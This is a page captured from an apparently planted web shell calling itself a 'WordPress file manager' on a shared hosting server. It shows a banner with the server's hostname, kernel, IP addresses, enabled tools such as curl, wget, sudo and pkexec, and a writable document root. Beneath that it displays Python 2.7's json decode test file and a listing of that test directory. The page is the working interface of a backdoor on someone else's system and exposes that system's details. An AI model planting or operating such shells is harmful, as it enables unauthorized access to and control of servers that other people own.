✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ beluga.o2switch.net ​🇻​♯➤ 4.18.0-553.123.2.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 185.154.139.77 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.254
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /lib64/python2.7/json/tests//test_decode.py
import decimal
from StringIO import StringIO
from collections import OrderedDict
from json.tests import PyTest, CTest


class TestDecode(object):
    def test_decimal(self):
        rval = self.loads('1.1', parse_float=decimal.Decimal)
        self.assertTrue(isinstance(rval, decimal.Decimal))
        self.assertEqual(rval, decimal.Decimal('1.1'))

    def test_float(self):
        rval = self.loads('1', parse_int=float)
        self.assertTrue(isinstance(rval, float))
        self.assertEqual(rval, 1.0)

    def test_decoder_optimizations(self):
        # Several optimizations were made that skip over calls to
        # the whitespace regex, so this test is designed to try and
        # exercise the uncommon cases. The array cases are already covered.
        rval = self.loads('{   "key"    :    "value"    ,  "k":"v"    }')
        self.assertEqual(rval, {"key":"value", "k":"v"})

    def test_empty_objects(self):
        self.assertEqual(self.loads('{}'), {})
        self.assertEqual(self.loads('[]'), [])
        self.assertEqual(self.loads('""'), u"")
        self.assertIsInstance(self.loads('""'), unicode)

    def test_object_pairs_hook(self):
        s = '{"xkd":1, "kcw":2, "art":3, "hxm":4, "qrt":5, "pad":6, "hoy":7}'
        p = [("xkd", 1), ("kcw", 2), ("art", 3), ("hxm", 4),
             ("qrt", 5), ("pad", 6), ("hoy", 7)]
        self.assertEqual(self.loads(s), eval(s))
        self.assertEqual(self.loads(s, object_pairs_hook=lambda x: x), p)
        self.assertEqual(self.json.load(StringIO(s),
                                        object_pairs_hook=lambda x: x), p)
        od = self.loads(s, object_pairs_hook=OrderedDict)
        self.assertEqual(od, OrderedDict(p))
        self.assertEqual(type(od), OrderedDict)
        # the object_pairs_hook takes priority over the object_hook
        self.assertEqual(self.loads(s, object_pairs_hook=OrderedDict,
                                    object_hook=lambda x: None),
                         OrderedDict(p))
        # check that empty object literals work (see #17368)
        self.assertEqual(self.loads('{}', object_pairs_hook=OrderedDict),
                         OrderedDict())
        self.assertEqual(self.loads('{"empty": {}}',
                                    object_pairs_hook=OrderedDict),
                         OrderedDict([('empty', OrderedDict())]))

    def test_extra_data(self):
        s = '[1, 2, 3]5'
        msg = 'Extra data'
        self.assertRaisesRegexp(ValueError, msg, self.loads, s)

    def test_invalid_escape(self):
        s = '["abc\\y"]'
        msg = 'escape'
        self.assertRaisesRegexp(ValueError, msg, self.loads, s)

    def test_negative_index(self):
        d = self.json.JSONDecoder()
        self.assertRaises(ValueError, d.raw_decode, 'a'*42, -50000)
        self.assertRaises(ValueError, d.raw_decode, u'a'*42, -50000)

class TestPyDecode(TestDecode, PyTest): pass
class TestCDecode(TestDecode, CTest): pass


Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
25 Jul 2024 8.42 AM
root / root
0755
__init__.py
2.395 KB
10 Apr 2024 4.58 AM
root / root
0644
__init__.pyc
3.382 KB
10 Apr 2024 4.58 AM
root / root
0644
__init__.pyo
3.382 KB
10 Apr 2024 4.58 AM
root / root
0644
test_check_circular.py
0.991 KB
10 Apr 2024 4.58 AM
root / root
0644
test_check_circular.pyc
2.306 KB
10 Apr 2024 4.58 AM
root / root
0644
test_check_circular.pyo
2.306 KB
10 Apr 2024 4.58 AM
root / root
0644
test_decode.py
2.888 KB
10 Apr 2024 4.58 AM
root / root
0644
test_decode.pyc
4.238 KB
10 Apr 2024 4.58 AM
root / root
0644
test_decode.pyo
4.238 KB
10 Apr 2024 4.58 AM
root / root
0644
test_default.py
0.287 KB
10 Apr 2024 4.58 AM
root / root
0644
test_default.pyc
1.021 KB
10 Apr 2024 4.58 AM
root / root
0644
test_default.pyo
1.021 KB
10 Apr 2024 4.58 AM
root / root
0644
test_dump.py
0.985 KB
10 Apr 2024 4.58 AM
root / root
0644
test_dump.pyc
2.125 KB
10 Apr 2024 4.58 AM
root / root
0644
test_dump.pyo
2.125 KB
10 Apr 2024 4.58 AM
root / root
0644
test_encode_basestring_ascii.py
1.957 KB
10 Apr 2024 4.58 AM
root / root
0644
test_encode_basestring_ascii.pyc
3.333 KB
10 Apr 2024 4.58 AM
root / root
0644
test_encode_basestring_ascii.pyo
3.333 KB
10 Apr 2024 4.58 AM
root / root
0644
test_fail.py
3.823 KB
10 Apr 2024 4.58 AM
root / root
0644
test_fail.pyc
2.867 KB
10 Apr 2024 4.58 AM
root / root
0644
test_fail.pyo
2.867 KB
10 Apr 2024 4.58 AM
root / root
0644
test_float.py
1.754 KB
10 Apr 2024 4.58 AM
root / root
0644
test_float.pyc
3.138 KB
10 Apr 2024 4.58 AM
root / root
0644
test_float.pyo
3.138 KB
10 Apr 2024 4.58 AM
root / root
0644
test_indent.py
1.435 KB
10 Apr 2024 4.58 AM
root / root
0644
test_indent.pyc
2.396 KB
10 Apr 2024 4.58 AM
root / root
0644
test_indent.pyo
2.396 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass1.py
1.798 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass1.pyc
2.443 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass1.pyo
2.443 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass2.py
0.441 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass2.pyc
1.087 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass2.pyo
1.087 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass3.py
0.535 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass3.pyc
1.18 KB
10 Apr 2024 4.58 AM
root / root
0644
test_pass3.pyo
1.18 KB
10 Apr 2024 4.58 AM
root / root
0644
test_recursion.py
3.295 KB
10 Apr 2024 4.58 AM
root / root
0644
test_recursion.pyc
4.388 KB
10 Apr 2024 4.58 AM
root / root
0644
test_recursion.pyo
4.388 KB
10 Apr 2024 4.58 AM
root / root
0644
test_scanstring.py
5.406 KB
10 Apr 2024 4.58 AM
root / root
0644
test_scanstring.pyc
6.049 KB
10 Apr 2024 4.58 AM
root / root
0644
test_scanstring.pyo
6.049 KB
10 Apr 2024 4.58 AM
root / root
0644
test_separators.py
0.999 KB
10 Apr 2024 4.58 AM
root / root
0644
test_separators.pyc
1.822 KB
10 Apr 2024 4.58 AM
root / root
0644
test_separators.pyo
1.822 KB
10 Apr 2024 4.58 AM
root / root
0644
test_speedups.py
1.945 KB
10 Apr 2024 4.58 AM
root / root
0644
test_speedups.pyc
3.646 KB
10 Apr 2024 4.58 AM
root / root
0644
test_speedups.pyo
3.646 KB
10 Apr 2024 4.58 AM
root / root
0644
test_tool.py
1.922 KB
10 Apr 2024 4.58 AM
root / root
0644
test_tool.pyc
2.705 KB
10 Apr 2024 4.58 AM
root / root
0644
test_tool.pyo
2.705 KB
10 Apr 2024 4.58 AM
root / root
0644
test_unicode.py
3.423 KB
10 Apr 2024 4.58 AM
root / root
0644
test_unicode.pyc
5.32 KB
10 Apr 2024 4.58 AM
root / root
0644
test_unicode.pyo
5.32 KB
10 Apr 2024 4.58 AM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF